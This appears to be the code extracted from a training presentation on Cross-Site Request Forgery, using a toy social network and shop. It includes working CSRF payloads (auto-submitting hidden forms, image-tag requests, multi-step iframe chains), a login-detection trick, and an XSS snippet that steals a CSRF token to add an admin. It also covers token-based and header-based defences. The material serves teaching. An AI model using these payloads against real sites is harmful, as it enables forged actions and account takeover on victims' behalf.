<h1>My Social Network!</h1> <h2>Login</h2> <form method="POST" action="/"> <input type="text" name="user" /> <input type="text" name="pw" /> <input type="submit" value="Login!" /> </form>
<h1>My Social Network!</h1> <h2>Login</h2> <form method="POST" action="/"> <input type="text" name="user" /> <input type="text" name="pw" /> <input type="submit" value="Login!" /> </form>
<h1>My Social Network!</h1> <strong>Logged in as: santa</strong> <h2>My Whiteboard</h2> <ul> <li>Took a walk.</li> <li>First Entry! Hello World :).</li> </ul> <h2>New Entry</h2> <form method="GET" action="/new"> <input type="text" name="entry" /> <input type="submit" value="Submit!" /> </form>
<h1>My Social Network!</h1> <strong>Logged in as: santa</strong> <h2>Whiteboard entry 'huhu' created!</h2> <h2>My Whiteboard</h2> <ul> <li>huhu</li> <li>Took a walk.</li> <li>First Entry! Hello World :).</li> </ul>
POST / HTTP/1.1 Host: social-network.de user=santa&pw=claus
HTTP/1.1 200 OK Set-Cookie: sessionid=a212jhu2145912; expires=Tue, 29-Mar-2014 19:30:42 GMT; Max-Age=2592000; Path=/ …
GET /new?entry=huhu HTTP/1.1 Host: social-network.de Cookie: sessionid=a212jhu2145912;
HTTP/1.1 200 OK … <strong>Logged in as: santa</strong> <h2>Whiteboard entry 'huhu' created!</h2> <ul> <li>huhu</li> …
<h1>Cat GIFs Forum!</h1> <div class="post"> Look at my funny gif! <img src="http://funny.com/cat.gif" /> </div> <div class="post"> Look at my funny gif! <img src="http://social-network.de/new?entry=buy%pharmacy%20at%20www.medicals.com"/> </div>
GET / HTTP/1.1 Host: cat-gifs-forum.com
GET /cat.gif HTTP/1.1 Host: cat-gifs-forum.com
GET /new?entry=buy%20pharmacy%20at%20www.medicals.com HTTP/1.1 Host: social-network.de Cookie: sessionid=a212jhu2145912; HTTP/1.1 200 OK <strong>Logged in as: santa</strong> <h2>Whiteboard entry 'buy pharmacy…' created!</h2> …
POST
instead of GET
?<h2>New Entry</h2> <form method="POST" action="/new"> <input type="text" name="entry" /> <input type="submit" value="Submit!" /> </form>
POST /new HTTP/1.1 Host: social-network.de Cookie: sessionid=a212jhu2145912;
HTTP/1.1 200 OK … <strong>Logged in as: santa</strong> <h2>Whiteboard entry 'huhu' created!</h2> …
OWASP Top 10 — 2013 |
---|
A1-Injection |
A2-Broken Authentication and Session Management |
A3-Cross-Site Scripting (XSS) |
A4-Insecure Direct Object References |
A5-Security Misconfiguration |
A6-Sensitive Data Exposure |
A7-Missing Function Level |
A8-Cross-Site Request Forgery |
A9-Using Components with Known Vulnerabilities |
A10-Unvalidated |
Cross-Site Request Forgery is an attack which forces victims to perform sensitive actions on a web application without their knowledge.
Cross-Site Request Forgery is an attack which forces victims to perform sensitive actions on a web application without their knowledge.
/shop/order.php?item=1
/bank/create-admin.php
/accounts/edit-user.py
/webmail/SendMail.aspx
/cms/edit.jsp
<h2>New Entry</h2> <form method="POST" action="/new"> <input type="text" name="entry" /> <input type="submit" value="Submit!" /> </form>
<form method="POST" action="http://social-network.de/new" name="frmCSRF"> <input type="text" name="entry" value="huhu!" /> </form> <script type="text/javascript"> document.body.onload = function() { document.frmCSRF.submit(); } </script>
<h1>Cat GIFs Forum!</h1> <div class="post"> Look at my funny gif! <img src="http://funny.com/cat.gif" /> </div> <div class="post"> Look at my funny gif! <img src="http://somesite/cat.gif"/> <form name="frmCSRF" method="POST" action="http://social-network.de/new/"> <input type="hidden" name="entry" value="buy pharmacy at www.medicals.com"/> </form> <script>document.frmCSRF.submit(); </script><br/> </div>
GET / HTTP/1.1 Host: cat-gifs-forum.com --------------------- HTTP/1.1 200 OK <h1>Cat GIFs Forum!</h1>
GET /cat.gif HTTP/1.1 Host: funny.com --------------------- HTTP/1.1 200 OK …
POST / Host: social-network.de Cookie: sessionid=a212jhu2145912; entry=buy%20pharmacy%20at%20www.medicals.com --------------------- HTTP/1.1 200 OK <strong>Logged in as: santa</strong> <h2>Whiteboard entry 'buy pharmacy…' created!</h2> …
jQuery.ajax({ type: "PUT", url: "/social-network.de/new", contentType: "plain/text", data: "entry=yippie" });
Referrer: http://social-network.de/settings/privacy
The Origin header includes only the information required to identify the principal that initiated the request (typically the scheme, host, and port of initiating origin).
[…] the Origin header does not contain the path or query portions of the URI included in the Referer header […].
<img src="http://shop/customer-profile/profile.png" onload="logged_in(true);" onerror="logged_in(false);" />
<img src="http://shop/add-to-cart/453" onerror="step(2)" />
<iframe name="step1" onload="step(2);"></iframe> <form method="POST" action="http://shop/add-to-cart" target="step1" name="frmStep1"> <input type="text" name="item" value="943" /> </form> <script>document.getElementById("frmStep1").submit()</script>
<iframe name="step2" onload="step(3);"></iframe> <form method="POST" action="http://shop/shipping-address" target="step2" name="frmStep2"> …
$token = randomValue(); db_save('csrf_token', $session_id, $token);
<form …> <input type="hidden" value="<?= $token; ?>" /> <input type="text" name="shipping_address" value="" />
if ($_POST['token'] === db_get('csrf_token', $session_id)): // execute request … else: // possible csrf attack endif;
<h1>My Social Network!</h1> <strong>Logged in as: santa</strong> <h2>My Whiteboard</h2> <ul> <li>Took a walk.</li> <li>First Entry! Hello World :).</li> </ul> <h2>New Entry</h2> <form method="POST" action="/new"> <!-- generating a new, randomized token for each request --> <input type="hidden" name="token" value="a329ukjsdf1" /> <input type="text" name="entry" /> <input type="submit" value="Submit!" /> </form>
$token = md5($username); $token = md5($today);
Better:
<input type="hidden" name="token_342" value="&hellip" />
// Browser history! Visited Sites: http://bank.com/?token=123
// Logs on the way! 127.0.0.1 - - [02/Jun/2014:22:25:09 +0200] "POST /bank/api.php?token=42 HTTP/1.1" …
Referrer: http://bank.com/?token=1337
Enables replay attacks!
Better:
$token = randomValue(); Set-Cookie: $token <form method="POST" …> <input name="token" value="$token" />
if ($COOKIE_TOKEN == $POST_TOKEN) // valid else // possible csrf
Cookie: …
<h1>Site A</h1> <iframe src="http://site-B/" id="iframe"> <form …> <input type="hidden" name="csrf_token" value="1337" /> </iframe> <script> // This is *not* possible: var token = document.getElementById("iframe").contentDocument.forms[0].csrf_token.value; </script>
<h2>Visitor Comments:</h2> <ul> <li> Peter: Love the site! </li> <li> John: <script type="text/javascript">alert("Yippie!")</script> </li> … </ul>
document.cookie //JSESSIONID=8123ANJNASDF21
document.writeln('<iframe id="iframe" src="/admin/users.php?action=add_admin" onload="read()"></iframe>'); var token = document.getElementById("iframe").contentDocument.forms[0].csrf_token.value; document.writeln('<form> <input name="token" value="' + token …);
$("#iframe").contents().find("shipping_address").attr("value", "to me :)"); $("#iframe").contents().find("form").submit();
https://wikileaks.org/readme-before-leaking https://wikileaks.org/submission https://wikileaks.org/submission-successful
<img src="http://malicious-site-wants-to-be-most-visited-site/" > <img src="http://malicious-site-wants-to-be-most-visited-site/" > <img src="http://malicious-site-wants-to-be-most-visited-site/" > <img src="http://malicious-site-wants-to-be-most-visited-site/" > …
http://click-a-link/go-to-jail
audience.ask(questions);
Assignments: Structure | |
---|---|
Part 1 | ~30 min |
Solutions Part 1 | ~10 min |
Part 2 | ~60 min |
Solutions Part 2 | ~20 min |